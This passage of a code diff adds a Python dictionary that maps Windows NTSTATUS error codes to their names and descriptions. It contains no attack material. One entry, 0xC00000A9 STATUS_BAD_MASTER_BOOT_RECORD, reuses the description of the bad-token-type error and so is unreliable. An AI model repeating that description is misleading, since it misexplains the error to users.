+        0xC000006D: ("STATUS_LOGON_FAILURE","The attempted logon is invalid. This is either due to a bad username or authentication information."),
+        0xC000006E: ("STATUS_ACCOUNT_RESTRICTION","Indicates a referenced user name and authentication information are valid, but some user account restriction has prevented successful authentication (such as time-of-day restrictions)."),
+        0xC000006F: ("STATUS_INVALID_LOGON_HOURS","The user account has time restrictions and may not be logged onto at this time."),
+        0xC0000070: ("STATUS_INVALID_WORKSTATION","The user account is restricted so that it may not be used to log on from the source workstation."),
+        0xC0000071: ("STATUS_PASSWORD_EXPIRED","The user account password has expired."),
+        0xC0000072: ("STATUS_ACCOUNT_DISABLED","The referenced account is currently disabled and may not be logged on to."),
+        0xC0000073: ("STATUS_NONE_MAPPED","None of the information to be translated has been translated."),
+        0xC0000074: ("STATUS_TOO_MANY_LUIDS_REQUESTED","The number of LUIDs requested may not be allocated with a single allocation."),
+        0xC0000075: ("STATUS_LUIDS_EXHAUSTED","Indicates there are no more LUIDs to allocate."),
+        0xC0000076: ("STATUS_INVALID_SUB_AUTHORITY","Indicates the sub-authority value is invalid for the particular use."),
+        0xC0000077: ("STATUS_INVALID_ACL","Indicates the ACL structure is not valid."),
+        0xC0000078: ("STATUS_INVALID_SID","Indicates the SID structure is not valid."),
+        0xC0000079: ("STATUS_INVALID_SECURITY_DESCR","Indicates the SECURITY_DESCRIPTOR structure is not valid."),
+        0xC000007A: ("STATUS_PROCEDURE_NOT_FOUND","Indicates the specified procedure address cannot be found in the DLL."),
+        0xC000007B: ("STATUS_INVALID_IMAGE_FORMAT","{Bad Image} %hs is either not designed to run on Windows or it contains an error. Try installing the program again using the original installation media or contact your system administrator or the software vendor for support."),
+        0xC000007C: ("STATUS_NO_TOKEN","An attempt was made to reference a token that does not exist. This is typically done by referencing the token that is associated with a thread when the thread is not impersonating a client."),
+        0xC000007D: ("STATUS_BAD_INHERITANCE_ACL","Indicates that an attempt to build either an inherited ACL or ACE was not successful. This can be caused by a number of things. One of the more probable causes is the replacement of a CreatorId with a SID that did not fit into the ACE or ACL."),
+        0xC000007E: ("STATUS_RANGE_NOT_LOCKED","The range specified in NtUnlockFile was not locked."),
+        0xC000007F: ("STATUS_DISK_FULL","An operation failed because the disk was full."),
+        0xC0000080: ("STATUS_SERVER_DISABLED","The GUID allocation server is disabled at the moment."),
+        0xC0000081: ("STATUS_SERVER_NOT_DISABLED","The GUID allocation server is enabled at the moment."),
+        0xC0000082: ("STATUS_TOO_MANY_GUIDS_REQUESTED","Too many GUIDs were requested from the allocation server at once."),
+        0xC0000083: ("STATUS_GUIDS_EXHAUSTED","The GUIDs could not be allocated because the Authority Agent was exhausted."),
+        0xC0000084: ("STATUS_INVALID_ID_AUTHORITY","The value provided was an invalid value for an identifier authority."),
+        0xC0000085: ("STATUS_AGENTS_EXHAUSTED","No more authority agent values are available for the particular identifier authority value."),
+        0xC0000086: ("STATUS_INVALID_VOLUME_LABEL","An invalid volume label has been specified."),
+        0xC0000087: ("STATUS_SECTION_NOT_EXTENDED","A mapped section could not be extended."),
+        0xC0000088: ("STATUS_NOT_MAPPED_DATA","Specified section to flush does not map a data file."),
+        0xC0000089: ("STATUS_RESOURCE_DATA_NOT_FOUND","Indicates the specified image file did not contain a resource section."),
+        0xC000008A: ("STATUS_RESOURCE_TYPE_NOT_FOUND","Indicates the specified resource type cannot be found in the image file."),
+        0xC000008B: ("STATUS_RESOURCE_NAME_NOT_FOUND","Indicates the specified resource name cannot be found in the image file."),
+        0xC000008C: ("STATUS_ARRAY_BOUNDS_EXCEEDED","{EXCEPTION} Array bounds exceeded."),
+        0xC000008D: ("STATUS_FLOAT_DENORMAL_OPERAND","{EXCEPTION} Floating-point denormal operand."),
+        0xC000008E: ("STATUS_FLOAT_DIVIDE_BY_ZERO","{EXCEPTION} Floating-point division by zero."),
+        0xC000008F: ("STATUS_FLOAT_INEXACT_RESULT","{EXCEPTION} Floating-point inexact result."),
+        0xC0000090: ("STATUS_FLOAT_INVALID_OPERATION","{EXCEPTION} Floating-point invalid operation."),
+        0xC0000091: ("STATUS_FLOAT_OVERFLOW","{EXCEPTION} Floating-point overflow."),
+        0xC0000092: ("STATUS_FLOAT_STACK_CHECK","{EXCEPTION} Floating-point stack check."),
+        0xC0000093: ("STATUS_FLOAT_UNDERFLOW","{EXCEPTION} Floating-point underflow."),
+        0xC0000094: ("STATUS_INTEGER_DIVIDE_BY_ZERO","{EXCEPTION} Integer division by zero."),
+        0xC0000095: ("STATUS_INTEGER_OVERFLOW","{EXCEPTION} Integer overflow."),
+        0xC0000096: ("STATUS_PRIVILEGED_INSTRUCTION","{EXCEPTION} Privileged instruction."),
+        0xC0000097: ("STATUS_TOO_MANY_PAGING_FILES","An attempt was made to install more paging files than the system supports."),
+        0xC0000098: ("STATUS_FILE_INVALID","The volume for a file has been externally altered such that the opened file is no longer valid."),
+        0xC0000099: ("STATUS_ALLOTTED_SPACE_EXCEEDED","When a block of memory is allotted for future updates, such as the memory allocated to hold discretionary access control and primary group information, successive updates may exceed the amount of memory originally allotted. Because a quota may already have been charged to several processes that have handles to the object, it is not reasonable to alter the size of the allocated memory. Instead, a request that requires more memory than has been allotted must fail and the STATUS_ALLOTTED_SPACE_EXCEEDED error returned."),
+        0xC000009A: ("STATUS_INSUFFICIENT_RESOURCES","Insufficient system resources exist to complete the API."),
+        0xC000009B: ("STATUS_DFS_EXIT_PATH_FOUND","An attempt has been made to open a DFS exit path control file."),
+        0xC000009C: ("STATUS_DEVICE_DATA_ERROR","There are bad blocks (sectors) on the hard disk."),
+        0xC000009D: ("STATUS_DEVICE_NOT_CONNECTED","There is bad cabling, non-termination, or the controller is not able to obtain access to the hard disk."),
+        0xC000009F: ("STATUS_FREE_VM_NOT_AT_BASE","Virtual memory cannot be freed because the base address is not the base of the region and a region size of zero was specified."),
+        0xC00000A0: ("STATUS_MEMORY_NOT_ALLOCATED","An attempt was made to free virtual memory that is not allocated."),
+        0xC00000A1: ("STATUS_WORKING_SET_QUOTA","The working set is not big enough to allow the requested pages to be locked."),
+        0xC00000A2: ("STATUS_MEDIA_WRITE_PROTECTED","{Write Protect Error} The disk cannot be written to because it is write-protected. Remove the write protection from the volume %hs in drive %hs."),
+        0xC00000A3: ("STATUS_DEVICE_NOT_READY","{Drive Not Ready} The drive is not ready for use; its door may be open. Check drive %hs and make sure that a disk is inserted and that the drive door is closed."),
+        0xC00000A4: ("STATUS_INVALID_GROUP_ATTRIBUTES","The specified attributes are invalid or are incompatible with the attributes for the group as a whole."),
+        0xC00000A5: ("STATUS_BAD_IMPERSONATION_LEVEL","A specified impersonation level is invalid. Also used to indicate that a required impersonation level was not provided."),
+        0xC00000A6: ("STATUS_CANT_OPEN_ANONYMOUS","An attempt was made to open an anonymous-level token. Anonymous tokens may not be opened."),
+        0xC00000A7: ("STATUS_BAD_VALIDATION_CLASS","The validation information class requested was invalid."),
+        0xC00000A8: ("STATUS_BAD_TOKEN_TYPE","The type of a token object is inappropriate for its attempted use."),
+        0xC00000A9: ("STATUS_BAD_MASTER_BOOT_RECORD","The type of a token object is inappropriate for its attempted use."),
+        0xC00000AA: ("STATUS_INSTRUCTION_MISALIGNMENT","An attempt was made to execute an instruction at an unaligned address and the host system does not support unaligned instruction references."),
+        0xC00000AB: ("STATUS_INSTANCE_NOT_AVAILABLE","The maximum named pipe instance count has been reached."),
+        0xC00000AC: ("STATUS_PIPE_NOT_AVAILABLE","An instance of a named pipe cannot be found in the listening state."),
+        0xC00000AD: ("STATUS_INVALID_PIPE_STATE","The named pipe is not in the connected or closing state."),
+        0xC00000AE: ("STATUS_PIPE_BUSY","The specified pipe is set to complete operations and there are current I/O operations queued so that it cannot be changed to queue operations."),
+        0xC00000AF: ("STATUS_ILLEGAL_FUNCTION","The specified handle is not open to the server end of the named pipe."),
+        0xC00000B0: ("STATUS_PIPE_DISCONNECTED","The specified named pipe is in the disconnected state."),
+        0xC00000B1: ("STATUS_PIPE_CLOSING","The specified named pipe is in the closing state."),
+        0xC00000B2: ("STATUS_PIPE_CONNECTED","The specified named pipe is in the connected state."),
+        0xC00000B3: ("STATUS_PIPE_LISTENING","The specified named pipe is in the listening state."),
+        0xC00000B4: ("STATUS_INVALID_READ_MODE","The specified named pipe is not in message mode."),
+        0xC00000B5: ("STATUS_IO_TIMEOUT","{Device Timeout} The specified I/O operation on %hs was not completed before the time-out period expired."),
+        0xC00000B6: ("STATUS_FILE_FORCED_CLOSED","The specified file has been closed by another process."),
+        0xC00000B7: ("STATUS_PROFILING_NOT_STARTED","Profiling is not started."),
+        0xC00000B8: ("STATUS_PROFILING_NOT_STOPPED","Profiling is not stopped."),
+        0xC00000B9: ("STATUS_COULD_NOT_INTERPRET","The passed ACL did not contain the minimum required information."),
+        0xC00000BA: ("STATUS_FILE_IS_A_DIRECTORY","The file that was specified as a target is a directory, and the caller specified that it could be anything but a directory."),
+        0xC00000BB: ("STATUS_NOT_SUPPORTED","The request is not supported."),
+        0xC00000BC: ("STATUS_REMOTE_NOT_LISTENING","This remote computer is not listening."),
+        0xC00000BD: ("STATUS_DUPLICATE_NAME","A duplicate name exists on the network."),
+        0xC00000BE: ("STATUS_BAD_NETWORK_PATH","The network path cannot be located."),
+        0xC00000BF: ("STATUS_NETWORK_BUSY","The network is busy."),
+        0xC00000C0: ("STATUS_DEVICE_DOES_NOT_EXIST","This device does not exist."),
+        0xC00000C1: ("STATUS_TOO_MANY_COMMANDS","The network BIOS command limit has been reached."),
+        0xC00000C2: ("STATUS_ADAPTER_HARDWARE_ERROR","An I/O adapter hardware error has occurred."),
+        0xC00000C3: ("STATUS_INVALID_NETWORK_RESPONSE","The network responded incorrectly."),
+        0xC00000C4: ("STATUS_UNEXPECTED_NETWORK_ERROR","An unexpected network error occurred."),
+        0xC00000C5: ("STATUS_BAD_REMOTE_ADAPTER","The remote adapter is not compatible."),
+        0xC00000C6: ("STATUS_PRINT_QUEUE_FULL","The print queue is full."),
+        0xC00000C7: ("STATUS_NO_SPOOL_SPACE","Space to store the file that is waiting to be printed is not available on the server."),
+        0xC00000C8: ("STATUS_PRINT_CANCELLED","The requested print file has been canceled."),
+        0xC00000C9: ("STATUS_NETWORK_NAME_DELETED","The network name was deleted."),
+        0xC00000CA: ("STATUS_NETWORK_ACCESS_DENIED","Network access is denied."),
+        0xC00000CB: ("STATUS_BAD_DEVICE_TYPE","{Incorrect Network Resource Type} The specified device type (LPT, for example) conflicts with the actual device type on the remote resource."),
+        0xC00000CC: ("STATUS_BAD_NETWORK_NAME","{Network Name Not Found} The specified share name cannot be found on the remote server."),
+        0xC00000CD: ("STATUS_TOO_MANY_NAMES","The name limit for the network adapter card of the local computer was exceeded."),
+        0xC00000CE: ("STATUS_TOO_MANY_SESSIONS","The network BIOS session limit was exceeded."),
+        0xC00000CF: ("STATUS_SHARING_PAUSED","File sharing has been temporarily paused."),
+        0xC00000D0: ("STATUS_REQUEST_NOT_ACCEPTED","No more connections can be made to this remote computer at this time because the computer has already accepted the maximum number of connections."),
+        0xC00000D1: ("STATUS_REDIRECTOR_PAUSED","Print or disk redirection is temporarily paused."),
+        0xC00000D2: ("STATUS_NET_WRITE_FAULT","A network data fault occurred."),
+        0xC00000D3: ("STATUS_PROFILING_AT_LIMIT","The number of active profiling objects is at the maximum and no more may be started."),
+        0xC00000D4: ("STATUS_NOT_SAME_DEVICE","{Incorrect Volume} The destination file of a rename request is located on a different device than the source of the rename request."),
+        0xC00000D5: ("STATUS_FILE_RENAMED","The specified file has been renamed and thus cannot be modified."),
+        0xC00000D6: ("STATUS_VIRTUAL_CIRCUIT_CLOSED","{Network Request Timeout} The session with a remote server has been disconnected because the time-out interval for a request has expired."),
+        0xC00000D7: ("STATUS_NO_SECURITY_ON_OBJECT","Indicates an attempt was made to operate on the security of an object that does not have security associated with it."),
+        0xC00000D8: ("STATUS_CANT_WAIT","Used to indicate that an operation cannot continue without blocking for I/O."),
+        0xC00000D9: ("STATUS_PIPE_EMPTY","Used to indicate that a read operation was done on an empty pipe."),
+        0xC00000DA: ("STATUS_CANT_ACCESS_DOMAIN_INFO","Configuration information could not be read from the domain controller, either because the machine is unavailable or access has been denied."),
+        0xC00000DB: ("STATUS_CANT_TERMINATE_SELF","Indicates that a thread attempted to terminate itself by default (called NtTerminateThread with NULL) and it was the last thread in the current process."),
+        0xC00000DC: ("STATUS_INVALID_SERVER_STATE","Indicates the Sam Server was in the wrong state to perform the desired operation."),
+        0xC00000DD: ("STATUS_INVALID_DOMAIN_STATE","Indicates the domain was in the wrong state to perform the desired operation."),
+        0xC00000DE: ("STATUS_INVALID_DOMAIN_ROLE","This operation is only allowed for the primary domain controller of the domain."),
+        0xC00000DF: ("STATUS_NO_SUCH_DOMAIN","The specified domain did not exist."),
+        0xC00000E0: ("STATUS_DOMAIN_EXISTS","The specified domain already exists."),
+        0xC00000E1: ("STATUS_DOMAIN_LIMIT_EXCEEDED","An attempt was made to exceed the limit on the number of domains per server for this release."),
+        0xC00000E2: ("STATUS_OPLOCK_NOT_GRANTED","An error status returned when the opportunistic lock (oplock) request is denied."),
+        0xC00000E3: ("STATUS_INVALID_OPLOCK_PROTOCOL","An error status returned when an invalid opportunistic lock (oplock) acknowledgment is received by a file system."),
+        0xC00000E4: ("STATUS_INTERNAL_DB_CORRUPTION","This error indicates that the requested operation cannot be completed due to a catastrophic media failure or an on-disk data structure corruption."),
+        0xC00000E5: ("STATUS_INTERNAL_ERROR","An internal error occurred."),
+        0xC00000E6: ("STATUS_GENERIC_NOT_MAPPED","Indicates generic access types were contained in an access mask which should already be mapped to non-generic access types."),
+        0xC00000E7: ("STATUS_BAD_DESCRIPTOR_FORMAT","Indicates a security descriptor is not in the necessary format (absolute or self-relative)."),
+        0xC00000E8: ("STATUS_INVALID_USER_BUFFER","An access to a user buffer failed at an expected point in time. This code is defined because the caller does not want to accept STATUS_ACCESS_VIOLATION in its filter."),
+        0xC00000E9: ("STATUS_UNEXPECTED_IO_ERROR","If an I/O error that is not defined in the standard FsRtl filter is returned, it is converted to the following error, which is guaranteed to be in the filter. In this case, information is lost; however, the filter correctly handles the exception."),
+        0xC00000EA: ("STATUS_UNEXPECTED_MM_CREATE_ERR","If an MM error that is not defined in the standard FsRtl filter is returned, it is converted to one of the following errors, which are guaranteed to be in the filter. In this case, information is lost; however, the filter correctly handles the exception."),
+        0xC00000EB: ("STATUS_UNEXPECTED_MM_MAP_ERROR","If an MM error that is not defined in the standard FsRtl filter is returned, it is converted to one of the following errors, which are guaranteed to be in the filter. In this case, information is lost; however, the filter correctly handles the exception."),
+        0xC00000EC: ("STATUS_UNEXPECTED_MM_EXTEND_ERR","If an MM error that is not defined in the standard FsRtl filter is returned, it is converted to one of the following errors, which are guaranteed to be in the filter. In this case, information is lost; however, the filter correctly handles the exception."),
+        0xC00000ED: ("STATUS_NOT_LOGON_PROCESS","The requested action is restricted for use by logon processes only. The calling process has not registered as a logon process."),
+        0xC00000EE: ("STATUS_LOGON_SESSION_EXISTS","An attempt has been made to start a new session manager or LSA logon session by using an ID that is already in use."),
+        0xC00000EF: ("STATUS_INVALID_PARAMETER_1","An invalid parameter was passed to a service or function as the first argument."),
+        0xC00000F0: ("STATUS_INVALID_PARAMETER_2","An invalid parameter was passed to a service or function as the second argument."),
+        0xC00000F1: ("STATUS_INVALID_PARAMETER_3","An invalid parameter was passed to a service or function as the third argument."),
+        0xC00000F2: ("STATUS_INVALID_PARAMETER_4","An invalid parameter was passed to a service or function as the fourth argument."),
+        0xC00000F3: ("STATUS_INVALID_PARAMETER_5","An invalid parameter was passed to a service or function as the fifth argument."),
+        0xC00000F4: ("STATUS_INVALID_PARAMETER_6","An invalid parameter was passed to a service or function as the sixth argument."),
+        0xC00000F5: ("STATUS_INVALID_PARAMETER_7","An invalid parameter was passed to a service or function as the seventh argument."),
+        0xC00000F6: ("STATUS_INVALID_PARAMETER_8","An invalid parameter was passed to a service or function as the eighth argument."),
+        0xC00000F7: ("STATUS_INVALID_PARAMETER_9","An invalid parameter was passed to a service or function as the ninth argument."),
+        0xC00000F8: ("STATUS_INVALID_PARAMETER_10","An invalid parameter was passed to a service or function as the tenth argument."),
+        0xC00000F9: ("STATUS_INVALID_PARAMETER_11","An invalid parameter was passed to a service or function as the eleventh argument."),
+        0xC00000FA: ("STATUS_INVALID_PARAMETER_12","An invalid parameter was passed to a service or function as the twelfth argument."),
+        0xC00000FB: ("STATUS_REDIRECTOR_NOT_STARTED","An attempt was made to access a network file, but the network software was not yet started."),
+        0xC00000FC: ("STATUS_REDIRECTOR_STARTED","An attempt was made to start the redirector, but the redirector has already been started."),
+        0xC00000FD: ("STATUS_STACK_OVERFLOW","A new guard page for the stack cannot be created."),
+        0xC00000FE: ("STATUS_NO_SUCH_PACKAGE","A specified authentication package is unknown."),
+        0xC00000FF: ("STATUS_BAD_FUNCTION_TABLE","A malformed function table was encountered during an unwind operation."),
+        0xC0000100: ("STATUS_VARIABLE_NOT_FOUND","Indicates the specified environment variable name was not found in the specified environment block."),
+        0xC0000101: ("STATUS_DIRECTORY_NOT_EMPTY","Indicates that the directory trying to be deleted is not empty."),
+        0xC0000102: ("STATUS_FILE_CORRUPT_ERROR","{Corrupt File} The file or directory %hs is corrupt and unreadable. Run the Chkdsk utility."),
+        0xC0000103: ("STATUS_NOT_A_DIRECTORY","A requested opened file is not a directory."),
+        0xC0000104: ("STATUS_BAD_LOGON_SESSION_STATE","The logon session is not in a state that is consistent with the requested operation."),
+        0xC0000105: ("STATUS_LOGON_SESSION_COLLISION","An internal LSA error has occurred. An authentication package has requested the creation of a logon session but the ID of an already existing logon session has been specified."),
+        0xC0000106: ("STATUS_NAME_TOO_LONG","A specified name string is too long for its intended use."),
+        0xC0000107: ("STATUS_FILES_OPEN","The user attempted to force close the files on a redirected drive, but there were opened files on the drive, and the user did not specify a sufficient level of force."),
+        0xC0000108: ("STATUS_CONNECTION_IN_USE","The user attempted to force close the files on a redirected drive, but there were opened directories on the drive, and the user did not specify a sufficient level of force."),
+        0xC0000109: ("STATUS_MESSAGE_NOT_FOUND","RtlFindMessage could not locate the requested message ID in the message table resource."),
+        0xC000010A: ("STATUS_PROCESS_IS_TERMINATING","An attempt was made to duplicate an object handle into or out of an exiting process."),
+        0xC000010B: ("STATUS_INVALID_LOGON_TYPE","Indicates an invalid value has been provided for the LogonType requested."),
+        0xC000010C: ("STATUS_NO_GUID_TRANSLATION","Indicates that an attempt was made to assign protection to a file system file or directory and one of the SIDs in the security descriptor could not be translated into a GUID that could be stored by the file system. This causes the protection attempt to fail, which may cause a file creation attempt to fail."),
+        0xC000010D: ("STATUS_CANNOT_IMPERSONATE","Indicates that an attempt has been made to impersonate via a named pipe that has not yet been read from."),
+        0xC000010E: ("STATUS_IMAGE_ALREADY_LOADED","Indicates that the specified image is already loaded."),
+        0xC0000117: ("STATUS_NO_LDT","Indicates that an attempt was made to change the size of the LDT for a process that has no LDT."),
+        0xC0000118: ("STATUS_INVALID_LDT_SIZE","Indicates that an attempt was made to grow an LDT by setting its size, or that the size was not an even number of selectors."),
+        0xC0000119: ("STATUS_INVALID_LDT_OFFSET","Indicates that the starting value for the LDT information was not an integral multiple of the selector size."),
+        0xC000011A: ("STATUS_INVALID_LDT_DESCRIPTOR","Indicates that the user supplied an invalid descriptor when trying to set up LDT descriptors."),
+        0xC000011B: ("STATUS_INVALID_IMAGE_NE_FORMAT","The specified image file did not have the correct format. It appears to be NE format."),
+        0xC000011C: ("STATUS_RXACT_INVALID_STATE","Indicates that the transaction state of a registry subtree is incompatible with the requested operation. For example, a request has been made to start a new transaction with one already in progress, or a request has been made to apply a transaction when one is not currently in progress."),
+        0xC000011D: ("STATUS_RXACT_COMMIT_FAILURE","Indicates an error has occurred during a registry transaction commit. The database has been left in an unknown, but probably inconsistent, state. The state of the registry transaction is left as COMMITTING."),
+        0xC000011E: ("STATUS_MAPPED_FILE_SIZE_ZERO","An attempt was made to map a file of size zero with the maximum size specified as zero."),
+        0xC000011F: ("STATUS_TOO_MANY_OPENED_FILES","Too many files are opened on a remote server. This error should only be returned by the Windows redirector on a remote drive."),
+        0xC0000120: ("STATUS_CANCELLED","The I/O request was canceled."),
+        0xC0000121: ("STATUS_CANNOT_DELETE","An attempt has been made to remove a file or directory that cannot be deleted."),
+        0xC0000122: ("STATUS_INVALID_COMPUTER_NAME","Indicates a name that was specified as a remote computer name is syntactically invalid."),
+        0xC0000123: ("STATUS_FILE_DELETED","An I/O request other than close was performed on a file after it was deleted, which can only happen to a request that did not complete before the last handle was closed via NtClose."),
+        0xC0000124: ("STATUS_SPECIAL_ACCOUNT","Indicates an operation that is incompatible with built-in accounts has been attempted on a built-in (special) SAM account. For example, built-in accounts cannot be deleted."),
+        0xC0000125: ("STATUS_SPECIAL_GROUP","The operation requested may not be performed on the specified group because it is a built-in special group."),
+        0xC0000126: ("STATUS_SPECIAL_USER","The operation requested may not be performed on the specified user because it is a built-in special user."),
+        0xC0000127: ("STATUS_MEMBERS_PRIMARY_GROUP","Indicates a member cannot be removed from a group because the group is currently the member's primary group."),
+        0xC0000128: ("STATUS_FILE_CLOSED","An I/O request other than close and several other special case operations was attempted using a file object that had already been closed."),
+        0xC0000129: ("STATUS_TOO_MANY_THREADS","Indicates a process has too many threads to perform the requested action. For example, assignment of a primary token may only be performed when a process has zero or one threads."),
+        0xC000012A: ("STATUS_THREAD_NOT_IN_PROCESS","An attempt was made to operate on a thread within a specific process, but the specified thread is not in the specified process."),
+        0xC000012B: ("STATUS_TOKEN_ALREADY_IN_USE","An attempt was made to establish a token for use as a primary token but the token is already in use. A token can only be the primary token of one process at a time."),
+        0xC000012C: ("STATUS_PAGEFILE_QUOTA_EXCEEDED","The page file quota was exceeded."),
+        0xC000012D: ("STATUS_COMMITMENT_LIMIT","{Out of Virtual Memory} Your system is low on virtual memory. To ensure that Windows runs correctly, increase the size of your virtual memory paging file. For more information, see Help."),
+        0xC000012E: ("STATUS_INVALID_IMAGE_LE_FORMAT","The specified image file did not have the correct format: it appears to be LE format."),
+        0xC000012F: ("STATUS_INVALID_IMAGE_NOT_MZ","The specified image file did not have the correct format: it did not have an initial MZ."),
+        0xC0000130: ("STATUS_INVALID_IMAGE_PROTECT","The specified image file did not have the correct format: it did not have a proper e_lfarlc in the MZ header."),
+        0xC0000131: ("STATUS_INVALID_IMAGE_WIN_16","The specified image file did not have the correct format: it appears to be a 16-bit Windows image."),
+        0xC0000132: ("STATUS_LOGON_SERVER_CONFLICT","The Netlogon service cannot start because another Netlogon service running in the domain conflicts with the specified role."),
+        0xC0000133: ("STATUS_TIME_DIFFERENCE_AT_DC","The time at the primary domain controller is different from the time at the backup domain controller or member server by too large an amount."),
+        0xC0000134: ("STATUS_SYNCHRONIZATION_REQUIRED","The SAM database on a Windows Server is significantly out of synchronization with the copy on the domain controller. A complete synchronization is required."),
+        0xC0000135: ("STATUS_DLL_NOT_FOUND","{Unable To Locate Component} This application has failed to start because %hs was not found. Reinstalling the application may fix this problem."),
+        0xC0000136: ("STATUS_OPEN_FAILED","The NtCreateFile API failed. This error should never be returned to an application; it is a place holder for the Windows LAN Manager Redirector to use in its internal error-mapping routines."),
+        0xC0000137: ("STATUS_IO_PRIVILEGE_FAILED","{Privilege Failed} The I/O permissions for the process could not be changed."),
+        0xC0000138: ("STATUS_ORDINAL_NOT_FOUND","{Ordinal Not Found} The ordinal %ld could not be located in the dynamic link library %hs."),
+        0xC0000139: ("STATUS_ENTRYPOINT_NOT_FOUND","{Entry Point Not Found} The procedure entry point %hs could not be located in the dynamic link library %hs."),
+        0xC000013A: ("STATUS_CONTROL_C_EXIT","{Application Exit by CTRL+C} The application terminated as a result of a CTRL+C."),
+        0xC000013B: ("STATUS_LOCAL_DISCONNECT","{Virtual Circuit Closed} The network transport on your computer has closed a network connection. There may or may not be I/O requests outstanding."),
+        0xC000013C: ("STATUS_REMOTE_DISCONNECT","{Virtual Circuit Closed} The network transport on a remote computer has closed a network connection. There may or may not be I/O requests outstanding."),
+        0xC000013D: ("STATUS_REMOTE_RESOURCES","{Insufficient Resources on Remote Computer} The remote computer has insufficient resources to complete the network request. For example, the remote computer may not have enough available memory to carry out the request at this time."),
+        0xC000013E: ("STATUS_LINK_FAILED","{Virtual Circuit Closed} An existing connection (virtual circuit) has been broken at the remote computer. There is probably something wrong with the network software protocol or the network hardware on the remote computer."),
+        0xC000013F: ("STATUS_LINK_TIMEOUT","{Virtual Circuit Closed} The network transport on your computer has closed a network connection because it had to wait too long for a response from the remote computer."),
+        0xC0000140: ("STATUS_INVALID_CONNECTION","The connection handle that was given to the transport was invalid."),
+        0xC0000141: ("STATUS_INVALID_ADDRESS","The address handle that was given to the transport was invalid."),
+        0xC0000142: ("STATUS_DLL_INIT_FAILED","{DLL Initialization Failed} Initialization of the dynamic link library %hs failed. The process is terminating abnormally."),
+        0xC0000143: ("STATUS_MISSING_SYSTEMFILE","{Missing System File} The required system file %hs is bad or missing."),
+        0xC0000144: ("STATUS_UNHANDLED_EXCEPTION","{Application Error} The exception %s (0x%08lx) occurred in the application at location 0x%08lx."),
+        0xC0000145: ("STATUS_APP_INIT_FAILURE","{Application Error} The application failed to initialize properly (0x%lx). Click OK to terminate the application."),
+        0xC0000146: ("STATUS_PAGEFILE_CREATE_FAILED","{Unable to Create Paging File} The creation of the paging file %hs failed (%lx). The requested size was %ld."),
+        0xC0000147: ("STATUS_NO_PAGEFILE","{No Paging File Specified} No paging file was specified in the system configuration."),
+        0xC0000148: ("STATUS_INVALID_LEVEL","{Incorrect System Call Level} An invalid level was passed into the specified system call."),
+        0xC0000149: ("STATUS_WRONG_PASSWORD_CORE","{Incorrect Password to LAN Manager Server} You specified an incorrect password to a LAN Manager 2.x or MS-NET server."),
+        0xC000014A: ("STATUS_ILLEGAL_FLOAT_CONTEXT","{EXCEPTION} A real-mode application issued a floating-point instruction and floating-point hardware is not present."),
+        0xC000014B: ("STATUS_PIPE_BROKEN","The pipe operation has failed because the other end of the pipe has been closed."),
+        0xC000014C: ("STATUS_REGISTRY_CORRUPT","{The Registry Is Corrupt} The structure of one of the files that contains registry data is corrupt; the image of the file in memory is corrupt; or the file could not be recovered because the alternate copy or log was absent or corrupt."),
+        0xC000014D: ("STATUS_REGISTRY_IO_FAILED","An I/O operation initiated by the Registry failed and cannot be recovered. The registry could not read in, write out, or flush one of the files that contain the system's image of the registry."),
+        0xC000014E: ("STATUS_NO_EVENT_PAIR","An event pair synchronization operation was performed using the thread-specific client/server event pair object, but no event pair object was associated with the thread."),
+        0xC000014F: ("STATUS_UNRECOGNIZED_VOLUME","The volume does not contain a recognized file system. Be sure that all required file system drivers are loaded and that the volume is not corrupt."),
+        0xC0000150: ("STATUS_SERIAL_NO_DEVICE_INITED","No serial device was successfully initialized. The serial driver will unload."),
+        0xC0000151: ("STATUS_NO_SUCH_ALIAS","The specified local group does not exist."),
+        0xC0000152: ("STATUS_MEMBER_NOT_IN_ALIAS","The specified account name is not a member of the group."),
+        0xC0000153: ("STATUS_MEMBER_IN_ALIAS","The specified account name is already a member of the group."),
+        0xC0000154: ("STATUS_ALIAS_EXISTS","The specified local group already exists."),
+        0xC0000155: ("STATUS_LOGON_NOT_GRANTED","A requested type of logon (for example, interactive, network, and service) is not granted by the local security policy of the target system. Ask the system administrator to grant the necessary form of logon."),
+        0xC0000156: ("STATUS_TOO_MANY_SECRETS","The maximum number of secrets that may be stored in a single system was exceeded. The length and number of secrets is limited to satisfy U.S. State Department export restrictions."),
+        0xC0000157: ("STATUS_SECRET_TOO_LONG","The length of a secret exceeds the maximum allowable length. The length and number of secrets is limited to satisfy U.S. State Department export restrictions."),
+        0xC0000158: ("STATUS_INTERNAL_DB_ERROR","The local security authority (LSA) database contains an internal inconsistency."),
+        0xC0000159: ("STATUS_FULLSCREEN_MODE","The requested operation cannot be performed in full-screen mode."),
+        0xC000015A: ("STATUS_TOO_MANY_CONTEXT_IDS","During a logon attempt, the user's security context accumulated too many security IDs. This is a very unusual situation. Remove the user from some global or local groups to reduce the number of security IDs to incorporate into the security context."),
+        0xC000015B: ("STATUS_LOGON_TYPE_NOT_GRANTED","A user has requested a type of logon (for example, interactive or network) that has not been granted. An administrator has control over who may logon interactively and through the network."),
+        0xC000015C: ("STATUS_NOT_REGISTRY_FILE","The system has attempted to load or restore a file into the registry, and the specified file is not in the format of a registry file."),
+        0xC000015D: ("STATUS_NT_CROSS_ENCRYPTION_REQUIRED","An attempt was made to change a user password in the security account manager without providing the necessary Windows cross-encrypted password."),
+        0xC000015E: ("STATUS_DOMAIN_CTRLR_CONFIG_ERROR","A Windows Server has an incorrect configuration."),
+        0xC000015F: ("STATUS_FT_MISSING_MEMBER","An attempt was made to explicitly access the secondary copy of information via a device control to the fault tolerance driver and the secondary copy is not present in the system."),
+        0xC0000160: ("STATUS_ILL_FORMED_SERVICE_ENTRY","A configuration registry node that represents a driver service entry was ill-formed and did not contain the required value entries."),
+        0xC0000161: ("STATUS_ILLEGAL_CHARACTER","An illegal character was encountered. For a multibyte character set, this includes a lead byte without a succeeding trail byte. For the Unicode character set this includes the characters 0xFFFF and 0xFFFE."),
+        0xC0000162: ("STATUS_UNMAPPABLE_CHARACTER","No mapping for the Unicode character exists in the target multibyte code page."),
+        0xC0000163: ("STATUS_UNDEFINED_CHARACTER","The Unicode character is not defined in the Unicode character set that is installed on the system."),
+        0xC0000164: ("STATUS_FLOPPY_VOLUME","The paging file cannot be created on a floppy disk."),
+        0xC0000165: ("STATUS_FLOPPY_ID_MARK_NOT_FOUND","{Floppy Disk Error} While accessing a floppy disk, an ID address mark was not found."),
